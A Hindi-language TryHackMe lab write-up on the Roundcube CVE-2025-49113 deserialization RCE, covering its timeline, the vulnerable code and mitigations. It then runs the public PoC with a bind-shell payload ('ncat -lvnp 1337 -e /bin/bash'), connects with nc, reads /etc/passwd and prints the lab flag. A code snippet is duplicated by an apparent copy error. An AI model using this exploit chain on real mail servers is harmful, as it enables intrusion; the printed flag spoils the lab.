
स्पष्टीकरण + THM पर लैब
{{date}} {{time}}
स्थिति: पूर्ण
लैब: आसान
टैग: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
द्वारा KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
प्रभाव: लॉगिन के बाद रिमोट कमांड निष्पादन (CVSS 9.9)
प्रभावित संस्करण: ≤ 1.5.10 / 1.6.10
पैच किया गया: 1.5.11 और 1.6.11
| दिनांक | घटना |
|---|
| ~2014 | program/actions/settings/upload.php रूट का परिचय जिसमें session->append() का उपयोग बिना सत्यापन के किया गया। |
| 03 जून 2025 | @FearsOff के शोधकर्ताओं ने सलाहकार जारी किया और PoC की घोषणा की। |
| 04 जून 2025 | Roundcube ने commit 0376f69 (1.6-stable) और commit 7408f31 (1.5-lts) लागू किया। |
| 06 जून 2025 | PoC गिटहब पर प्रकाशित हुई। (fearsoff-org/CVE-2025-49113) |
| 10 जून 2025 | बड़े पैमाने पर शोषण। |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … more below
$rcmail->session->append($type . '.files', $id, $attachment);
_from इनपुट GET से पूरी तरह आता है, फिर सत्र में एक नोड के नाम का हिस्सा बन जाता है और
पहले append() के दौरान, Roundcube यह करता है:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … more below
$rcmail->session->append($type . '.files', $id, $attachment);
यदि फ़ाइल मौजूद है, तो RCE काम कर गया।
अपडेट करें तुरंत ≥ 1.6.11 या ≥ 1.5.11 पर।
यदि अपडेट नहीं कर सकते, तो WAF, फ़ायरवॉल या रीराइट के माध्यम से %22, %7C, !, . या नियंत्रण बाइट्स वाले किसी भी _from को ब्लॉक करें।
php.ini में खतरनाक फ़ंक्शन (proc_open, exec, आदि) को निष्क्रिय करें।
सेटिंग्स पैनल में अपलोड ब्लॉक करें और लॉग पर नज़र रखें।
tryhackme और strategos द्वारा बनाया गया
VM (MACHINE_IP) और AttackBox खोलें।
इसके साथ http://MACHINE_IP/roundcube पर जाएं:
उपयोगकर्ता: ellieptic
पासवर्ड: ChangeMe123
यह काम करेगा और सामान्य रूप से लॉगिन होगा:

यह सुनिश्चित करने के बाद कि सब कुछ चालू है, हम एक्सप्लॉइट चलाएंगे, इसके लिए हम पहले बताए गए गिटहब पर पोस्ट की गई PoC तक पहुंचेंगे और gitclone करेंगे:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

पेलोड का उपयोग सरल है, बस बाइंड शेल बनाएं और नीचे दिए गए उपयोग के अनुसार .php फ़ाइल के साथ एक पोर्ट की ओर इंगित करें:
php CVE-2025-49113.php <साइट> <उपयोगकर्ता> <पासवर्ड> "<बाइंड शेल>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– स्क्रिप्ट लॉगिन करती है, _from पैरामीटर में दुर्भावनापूर्ण PHP ऑब्जेक्ट इंजेक्ट करती है, जैसा कि हमने पहले बताया, upload.php एंडपॉइंट को कॉल करती है और फिर session_decode() → unserialize() → proc_open() को ट्रिगर करने के लिए लॉगआउट करती है।
कभी-कभी यह CSRF त्रुटि दिखाता है; इसे अनदेखा करें और अगले चरण पर जाएं,
क्योंकि कमांड आमतौर पर फिर भी निष्पादित हो जाता है।

यदि बाइंड शेल सफल रही, तो यह पोर्ट 1337 पर सुन रही है जो हमने दिया था, बस अब उससे कनेक्ट करें:
nc MACHINE_IP 1337
शेल प्राप्त हुई।

Byteइस प्रश्न को हल करने के लिए हम maggie के उपयोगकर्ता को grep करते हुए /etc/passwd पर cat कर सकते थे, या बस /home पर ls कर सकते थे।

/etc में सहेजे गए फ़्लैग का मान क्या है?THM{ICE_CUBE_DESERIALISATION}इसे हल करने के लिए, मैंने cat /etc/flag* चलाया और सौभाग्य से फ़ाइल का नाम flag था और इससे हम इसे पकड़ने में सफल रहे।

कमिट 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
कमिट 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff राइट-अप – https://fearsoff.org/research/roundcube
OffSec ब्लॉग – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA सलाहकार – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com